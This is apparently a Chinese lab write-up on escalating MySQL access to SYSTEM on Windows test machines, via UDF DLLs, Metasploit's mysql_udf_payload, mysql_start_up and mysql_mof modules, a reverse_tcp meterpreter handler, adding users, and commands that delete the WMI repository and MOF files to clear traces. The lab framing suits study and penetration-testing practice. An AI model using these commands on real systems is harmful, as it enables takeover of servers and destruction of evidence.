实验环境

1
2
靶机: windows 2003    192.168.189.143          php版本: php5.5.47
攻击机: kali 192.168.189.148

一、前提

在进行提权之前需要先拿到高权限的 MySQL 用户,secure_file_priv值为空(保证我们可以有写入权限)

当目标 MySQL 不允许外连时,我们可以上传php脚本,使用 Navicat 自带的 tunnel 隧道脚本上传到目标网站上

脚本链接

1、上传隧道脚本

image-20220330182206202

2、访问脚本,地址填localhost就可以了

image-20220330182852664

3、在使用Navicat时选择使用HTTP隧道,连接地址写loaclhost

image-20220330183112953

4、现在我们就可以连接了

image-20220330183246908

修改user表host字段为%,表示允许任意地址登录MySQL,开启外链接成功

1
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

image-20220330201307056

二、UDF提权

1
2
Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

1、查看 secure_file_priv 的值

secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限

1
2
show global variables like 'secure%';
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入/导出做限制

image-20220330172918234

2、查看plugin目录

1
show variables like 'plugin%';           

如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 plugin文件夹

image-20220330173001128

也可以利用NTFS ADS流模式突破进而创建文件夹(但是我试了好几次都失败了)

1
select 'x' into dumpfile 'C:\\phpStudy\\MySQL\\lib\\plugin\\::INDEX_ALLOCATION';

image-20220330201340273

3、导出dll文件

1
2
1、mysql<5.1 导出目录c:/windows或system32
2、mysql=>5.1 导出安装目录/lib/plugin/ 例如: C:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll

4、上传脚本进行UDF提取(本来是想手工的,但是一直失败)

image-20220330185903761

image-20220330185953525

5、输入账号密码连接后即可进行提权

image-20220330190103929

6、成功提权

image-20220330190826338

三、通过MSF进行UDF提权

通过MSF进行MySQL提权时需要MySQL支持外链

1、当我们拿到shell后手工创建plugin目录

image-20220330205212528

2、使用exploit/multi/mysql/mysql_udf_payload模块

1
msf6> use exploit/multi/mysql/mysql_udf_payload

image-20220330205335988

3、设置相应的信息

1
2
3
msf6> show options
msf6> set password root
msf6> set rhosts 192.168.189.143

image-20220330205442096

4、DLL文件上传成功。

image-20220330211508516

5、通过之前MSF生成的 dll 文件创建sys_eval()函数,使执行的命令存在回显。

1
create function sys_eval returns string soname "EdVeGIhm.dll";

image-20220330211747303

6、执行命令

1
select sys_eval("whoami");

image-20220330211909819

四、利用MSF进行启动项提权

通过MSF进行MySQL提权时需要MySQL支持外链

1
2
3
4
5
6
windows 2003启动项路径
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动

windows 2008启动项路径
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

由于windows 2003启动项路径有中文,MSF识别不了,这里我改用了windows2008

1
2
靶机: windows 2008  192.168.189.150    php版本: php 5.5.47
攻击机: kali 192.168.189.148

1、使用exploit/windows/mysql/mysql_start_up模块

1
msf6> use exploit/windows/mysql/mysql_start_up

image-20220331161023085

2、设置相应的信息

1
2
3
4
5
msf6> show options
msf6> set password root
msf6> set rhosts 192.168.189.150
msf6> set username root
msf6> set AllowNoCleanup true

image-20220331160156115

3、MSF 将exe木马写入到启动项中

image-20220331160317495

4、执行成功后开启监听会话

1
msf6 > handler -H 10.20.24.244 -P 4444 -p windows/meterpreter/reverse_tcp

image-20220331160603692

5、当目标系统重新登录的时候,MSF 这里可以看到已经成功上线

image-20220331161220346

image-20220331161232572

6、返回shell,拿到system权限

image-20220331161309134

五、通过MSF进行MOF提权

原理:
在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们要做的事通过代码存储到这个mof文件中,就可以实现权限提升。(基本上在 Windows Server 2003 的环境下才可以成功,但是我这里失败了,所以这里我改用了Windows xp的环境)

1
2
靶机: windows xp   192.168.189.147              php版本: php 5.5.47
攻击机: kali 192.168.189.148

1、使用msf中的exploit/windows/mysql/mysql_mof模块

1
msf6 > use exploit/windows/mysql/mysql_mof

image-20220401103351959

2、设置相应的信息

1
2
3
4
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set password root
msf6 > set username root
msf6 > set rhosts 192.168.189.147

image-20220401163643340

3、运行成功

image-20220401164318701

image-20220401164350744

4、返回shell,得到system权限

image-20220401164610321

5、创建新用户

1
net user add add /add

image-20220401165808750

痕迹清理

因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果:

1
2
# 停止 winmgmt 服务
net stop winmgmt

image-20220401165210105

1
2
# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\

image-20220401165239920

1
2
# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\btMkq.mof /F /S

image-20220401165320911

1
2
# 删除创建的用户
net user hacker /delete

image-20220401165644774

1
2
# 重新启动服务
net start winmgmt

image-20220401165632377